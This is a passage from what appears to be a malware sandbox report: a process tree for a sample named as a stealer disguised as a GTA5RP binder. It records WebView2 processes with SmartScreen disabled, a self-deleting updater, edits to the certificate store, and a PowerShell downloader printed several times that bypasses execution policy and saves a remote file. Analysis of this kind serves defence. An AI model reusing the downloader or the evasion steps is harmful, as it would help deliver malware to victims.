    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.3.3 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=2144 --field-trial-handle=1760,i,7879860557719589339,1875573294244688662,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:bcaf9f343662ba22f278516ef2a23eeaaec99bce
    3⤵
    PID:4580
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.3.3 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3272 --field-trial-handle=1760,i,7879860557719589339,1875573294244688662,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /pfhostedapp:bcaf9f343662ba22f278516ef2a23eeaaec99bce /prefetch:1
    3⤵
    PID:3164
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.3.3 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3772 --field-trial-handle=1760,i,7879860557719589339,1875573294244688662,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /pfhostedapp:bcaf9f343662ba22f278516ef2a23eeaaec99bce /prefetch:1
    3⤵
    PID:792
- C:\Users\Admin\AppData\Local\Temp\updater_tmp.exe
  "C:\Users\Admin\AppData\Local\Temp\updater_tmp.exe" --stage-replace C:\Users\Admin\AppData\Local\Temp\update.tmp C:\Users\Admin\AppData\Local\Temp\2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
  2⤵
  - Deletes itself
  - Executes dropped EXE
  - Suspicious behavior: RenamesItself
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5748
- - C:\Users\Admin\AppData\Local\Temp\2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe"
    3⤵
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Modifies trusted root certificate store through registry
    - Modifies system certificate store
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4796
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.10.1 --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --autoplay-policy=no-user-gesture-required --disable-features=msWebOOUI,msPdfOOUI,msSmartScreenProtection --disable-gpu --enable-features=MojoIpcz --lang=en-US --accept-lang=en-US --mojo-named-platform-channel-pipe=4796.5340.4842619244723906529 /pfhostedapp:bcaf9f343662ba22f278516ef2a23eeaaec99bce
      4⤵
      Drops file in Windows directory
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of WriteProcessMemory
      PID:5396
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView /prefetch:4 /pfhostedapp:bcaf9f343662ba22f278516ef2a23eeaaec99bce --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=122.0.6261.139 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=122.0.2365.106 --initial-client-data=0x188,0x18c,0x190,0x164,0x1c0,0x7ff8495a5fd8,0x7ff8495a5fe4,0x7ff8495a5ff0
        5⤵
        
        PID:5128
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.10.1 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1868 --field-trial-handle=1872,i,6807098813455856407,8732635971913063950,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:2 /pfhostedapp:bcaf9f343662ba22f278516ef2a23eeaaec99bce
        5⤵
        
        PID:5480
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.10.1 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=2440 --field-trial-handle=1872,i,6807098813455856407,8732635971913063950,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:3 /pfhostedapp:bcaf9f343662ba22f278516ef2a23eeaaec99bce
        5⤵
        
        PID:5440
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.10.1 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=2496 --field-trial-handle=1872,i,6807098813455856407,8732635971913063950,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:bcaf9f343662ba22f278516ef2a23eeaaec99bce
        5⤵
        
        PID:4776
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.10.1 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --autoplay-policy=no-user-gesture-required --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3312 --field-trial-handle=1872,i,6807098813455856407,8732635971913063950,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /pfhostedapp:bcaf9f343662ba22f278516ef2a23eeaaec99bce /prefetch:1
        5⤵
        
        PID:3564
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.10.1 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --autoplay-policy=no-user-gesture-required --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3868 --field-trial-handle=1872,i,6807098813455856407,8732635971913063950,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /pfhostedapp:bcaf9f343662ba22f278516ef2a23eeaaec99bce /prefetch:1
        5⤵
        
        PID:788
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.10.1 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=4640 --field-trial-handle=1872,i,6807098813455856407,8732635971913063950,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:bcaf9f343662ba22f278516ef2a23eeaaec99bce
        5⤵
        
        PID:6472
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.10.1 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=4828 --field-trial-handle=1872,i,6807098813455856407,8732635971913063950,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:bcaf9f343662ba22f278516ef2a23eeaaec99bce
        5⤵
        
        PID:2816
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.10.1 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=2020 --field-trial-handle=1872,i,6807098813455856407,8732635971913063950,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:bcaf9f343662ba22f278516ef2a23eeaaec99bce
        5⤵
        
        PID:5996
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3560
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1172
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1136
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3176
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3348
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2300
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3140
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
